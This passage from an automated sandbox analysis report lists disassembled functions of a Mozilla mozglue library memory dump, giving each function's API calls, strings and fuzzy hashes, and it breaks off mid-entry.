Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 5e7e7585019c1853bb49b5e784d058daaa6a61306b11a9077cae6f8225e07b24
Instruction ID: 47aad3b0dc604f21a1356bb05e74583715dd486d2a44998915a393623748e4a7
Opcode Fuzzy Hash: 5e7e7585019c1853bb49b5e784d058daaa6a61306b11a9077cae6f8225e07b24
Instruction Fuzzy Hash: 7E610532F016168FCB08CF68C988B6E73B5AF95358F294A39E525A7A84D770D901C791

Function 6C9848E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C9C483A,?), ref: 6C984ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C9C483A,?), ref: 6C984AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C9C483A,?), ref: 6C984A82

Part of subcall function 6C99CA10: mozalloc_abort.MOZGLUE(?), ref: 6C99CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C9C483A,?), ref: 6C984A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C9C483A,?), ref: 6C984A35

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C9C483A,?), ref: 6C984A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C9C483A,?), ref: 6C984AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C9C483A,?), ref: 6C984B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C9C483A,?), ref: 6C984B2C

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: f9cfe41d2dc7ff29c826e186575b4964eb1c5becd9311bca5c4c8f8c3bb7c940
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: EF715AB19017069FCB54CF68C490AAAB7F9FF18308B544A3ED15ADBB41E732E555CB80

Function 6C9D9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9D8273), ref: 6C9D9D65
free.MOZGLUE(6C9D8273,?), ref: 6C9D9D7C
free.MOZGLUE(?,?), ref: 6C9D9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9D9E0F
free.MOZGLUE(6C9D946B,?,?), ref: 6C9D9E24
free.MOZGLUE(?,?,?), ref: 6C9D9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9D9EC8
free.MOZGLUE(6C9D946B,?,?,?), ref: 6C9D9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9D9EF5

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7d0601d8ccd16f5f25d30ed2017b7b082e10a386f1b4064644b256d1644a2bf0
Instruction ID: 6621e044f62b09eec474e2caf6f1d0bf5821846d986d644421368367d9e9f1d5
Opcode Fuzzy Hash: 7d0601d8ccd16f5f25d30ed2017b7b082e10a386f1b4064644b256d1644a2bf0
Instruction Fuzzy Hash: 5E71A0B0909F419BC712DF58C49055BF3F4FFA9324B468619E84A6BB01EB30F885CB91

Function 6C9DDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9DDDCF

Part of subcall function 6C9BFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BFA4B

Part of subcall function 6C9D90E0: free.MOZGLUE(?,00000000,?,?,6C9DDEDB), ref: 6C9D90FF
Part of subcall function 6C9D90E0: free.MOZGLUE(?,00000000,?,?,6C9DDEDB), ref: 6C9D9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9DDE0D
free.MOZGLUE(00000000), ref: 6C9DDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9DDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9DDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9DDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9CDEFD,?,6C994A68), ref: 6C9DDF32

Part of subcall function 6C9DDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9DDB86
Part of subcall function 6C9DDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9DDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9CDEFD,?,6C994A68), ref: 6C9DDF65
free.MOZGLUE(?), ref: 6C9DDF80

Part of subcall function 6C9A5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9A5EDB
Part of subcall function 6C9A5E90: memset.VCRUNTIME140(6C9E7765,000000E5,55CCCCCC), ref: 6C9A5F27
Part of subcall function 6C9A5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9A5FB2

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f880b8cc94205456e0ddc20ebd737b553bcf41a0ff6f15289e6ad57798e9483b
Instruction ID: e20f2903f3f38c0fbd5d0798f592450e2d6493eeadc79b1f3aefd2f27350906a
Opcode Fuzzy Hash: f880b8cc94205456e0ddc20ebd737b553bcf41a0ff6f15289e6ad57798e9483b
Instruction Fuzzy Hash: 5651A777701A129BD7109F28D8806AE7376AFA1758B57851CD41A73B00D731F91ACFB2

Function 6C9E5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9E5C8C,?,6C9BE829), ref: 6C9E5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9E5C8C,?,6C9BE829), ref: 6C9E5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9E5C8C,?,6C9BE829), ref: 6C9E5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9E5C8C,?,6C9BE829), ref: 6C9E5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9E5C8C,?,6C9BE829), ref: 6C9E5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9E5C8C,?,6C9BE829), ref: 6C9E5DC9
std::_Facet_Register.LIBCPMT ref: 6C9E5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9E5C8C,?,6C9BE829), ref: 6C9E5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9E5C8C,?,6C9BE829), ref: 6C9E5E45

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 243ed5a22f68f9da8b371b14b6bef52df59d5a56f9f36ff0312b867124ffd488
Instruction ID: bec8dbe4065d487a269237fa7397fd2ea386980ba63eafb7efb416201d075c52
Opcode Fuzzy Hash: 243ed5a22f68f9da8b371b14b6bef52df59d5a56f9f36ff0312b867124ffd488
Instruction Fuzzy Hash: B44180347003059FCB05DF65C898AAEB7B9EF69358F04816CE50A9B791DB30E846CB61

Function 6C9BCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9831A7), ref: 6C9BCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9BCFA4, 6C9BCFB8
<jemalloc>, xrefs: 6C9BCF9F, 6C9BCFB3

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: e3015f34fbc75d36ac0ff61570746a03dc29fe47bde5722b21937d14f3b25d42
Instruction ID: 50c4b76e7981f9f1a33edf993ce22d0739db72d32085e14bc08c9624a1b67e26
Opcode Fuzzy Hash: e3015f34fbc75d36ac0ff61570746a03dc29fe47bde5722b21937d14f3b25d42
Instruction Fuzzy Hash: 21318570B41206BBEF14AFA99C45BAF7B79BB41B9CF204119F614BB6C0DB70D90187A1

Function 6C98ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98F100: LoadLibraryW.KERNEL32(shell32,?,6C9FD020), ref: 6C98F122
Part of subcall function 6C98F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C98F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C98ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C98EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C98EDCC
CreateFileW.KERNEL32 ref: 6C98EE08
free.MOZGLUE(00000000), ref: 6C98EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C98EE32

Part of subcall function 6C98EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C98EBB5
Part of subcall function 6C98EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C9BD7F3), ref: 6C98EBC3
Part of subcall function 6C98EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C9BD7F3), ref: 6C98EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C98EDC1

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: a2ff0550f1b3239d1b3aa804b937eb24327e66a1199744dabffe7b3e72cc8039
Instruction ID: e24f593f8fe4a4a5f82f7d64ab9786a0102c325836e7df73fd716cf259468bb6
Opcode Fuzzy Hash: a2ff0550f1b3239d1b3aa804b937eb24327e66a1199744dabffe7b3e72cc8039
Instruction Fuzzy Hash: AB510275D063049BDB10DF68C8506EEB7B4AF6A31CF04882DE8556B781E730E989C7E2

Function 6C9FA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9FA565

Part of subcall function 6C9FA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9FA4BE
Part of subcall function 6C9FA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9FA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9FA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9FA6B6

Strings

0, xrefs: 6C9FA5FB
z, xrefs: 6C9FA6AE

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 0117b19b1ae00f32cdba7a574d99de341625b7a91ee921139925dbe37c145a80
Instruction ID: 15b83a93256f9a1677dc54d29f27a815ac474f450f9da715d589221a208b1c90
Opcode Fuzzy Hash: 0117b19b1ae00f32cdba7a574d99de341625b7a91ee921139925dbe37c145a80
Instruction Fuzzy Hash: 484128719097459FC741DF28C080A9FBBE9BF99354F408A2EF4A987750EB30D54ACB92

Function 6C9878C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CA0008B), ref: 6C987B89
free.MOZGLUE(?,6CA0008B), ref: 6C987BAC

Part of subcall function 6C9878C0: free.MOZGLUE(?,6CA0008B), ref: 6C987BCF

free.MOZGLUE(?,6CA0008B), ref: 6C987BF2

Part of subcall function 6C9A5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9A5EDB
Part of subcall function 6C9A5E90: memset.VCRUNTIME140(6C9E7765,000000E5,55CCCCCC), ref: 6C9A5F27
Part of subcall function 6C9A5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9A5FB2

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 7bcc6ef3fa11e4e51a927503526992e81458d2eb10ebd138efd97c6594ad29fb
Instruction ID: 39d6e8687a6b91c6feb3f092f269f51f08a3203fb2e56677d7b7156c7a5837cf
Opcode Fuzzy Hash: 7bcc6ef3fa11e4e51a927503526992e81458d2eb10ebd138efd97c6594ad29fb
Instruction Fuzzy Hash: 24C1B831F021298BEB24CB68CC90BADB772AF51314F154B99E41AA7BC0D735DE858F51

Function 6C9C9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C9BAB89: EnterCriticalSection.KERNEL32(6CA0E370,?,?,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284), ref: 6C9BAB94
Part of subcall function 6C9BAB89: LeaveCriticalSection.KERNEL32(6CA0E370,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9BABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C994A68), ref: 6C9C945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9C9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9C9482
__Init_thread_footer.LIBCMT ref: 6C9C949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9C9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9C947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9C946B

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: d2167d110fcd25cbd1a2fdaed7f36585f38d9e2ae3400699152ee9612e94c8f4
Instruction ID: e05c984510c723c69dab54f0ad42acf4428117c7882e7dbc5c0da5929b6599d2
Opcode Fuzzy Hash: d2167d110fcd25cbd1a2fdaed7f36585f38d9e2ae3400699152ee9612e94c8f4
Instruction Fuzzy Hash: 32012834B002128BD7049B5CEC00A9633BDAB053ADF05853FDD0696B82DB36D497896B

Function 6C9D0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9D0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9D0F88
GetCurrentThreadId.KERNEL32 ref: 6C9D0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9D1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9D10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9D114B

Part of subcall function 6C9C8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9E1563), ref: 6C9C8BD5

free.MOZGLUE(?), ref: 6C9D1174
free.MOZGLUE(?), ref: 6C9D1186

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: c98516beac4c0ce875af1a9795a5163faf99b9291e884a4e22ae260efa25c1e7
Instruction ID: eac7ab71a58625bded4065b4f78fca2d82883b2947e62154ea7c3fd067163526
Opcode Fuzzy Hash: c98516beac4c0ce875af1a9795a5163faf99b9291e884a4e22ae260efa25c1e7
Instruction Fuzzy Hash: 7761CE76604B419BDB10CF24C88079AB7F5BFE6318F15891DE88967711EB31F54ACB82

Function 6C98B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C98B61E,?,?,?,?,?,00000000), ref: 6C98B6AC

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C98B61E,?,?,?,?,?,00000000), ref: 6C98B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C98B61E,?,?,?,?,?,00000000), ref: 6C98B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C98B61E,?,?,?,?,?,00000000), ref: 6C98B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C98B61E,?,?,?,?,?,00000000), ref: 6C98B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C98B61E), ref: 6C98B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C98B61E,?,?,?,?,?,00000000), ref: 6C98B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C98B61E,?,?,?,?,?,00000000), ref: 6C98B79A

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 518fd067a2d0c07dc367182aadd5afbb5681bf791665bf4c0320df0ea1311c42
Instruction ID: f69c033834be89e9b38817099771920707dde43c67448f3764e9daff9ffce5a0
Opcode Fuzzy Hash: 518fd067a2d0c07dc367182aadd5afbb5681bf791665bf4c0320df0ea1311c42
Instruction Fuzzy Hash: 6A41D4B2D012159FCB14DF68DC805AFB7B9BB54324F290A29E825E7B80E771E9058BD1

Function 6C98EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CA05104), ref: 6C98EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C98EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C98EFEC
free.MOZGLUE(?), ref: 6C98F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C98F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C98F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98F065
moz_xmalloc.MOZGLUE ref: 6C98F072

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 67dd2284c4852629cd1023b29028933b41114ee9c30c73e93f2e495882d8980e
Instruction ID: 8a45dd2d1c6ef849c05648dc3c18b9b536a3be50f08ae84cffcb08e300c40306
Opcode Fuzzy Hash: 67dd2284c4852629cd1023b29028933b41114ee9c30c73e93f2e495882d8980e
Instruction Fuzzy Hash: 4E4107B1A012059FCB08CF68DC809BF7769BF94318B24462CE825DB794EB71E915C7E1

Function 6C9FB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9FB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9FB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9FB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9FB5F4
__Init_thread_footer.LIBCMT ref: 6C9FB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9FB61F
std::_Facet_Register.LIBCPMT ref: 6C9FB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9FB655

Memory Dump Source

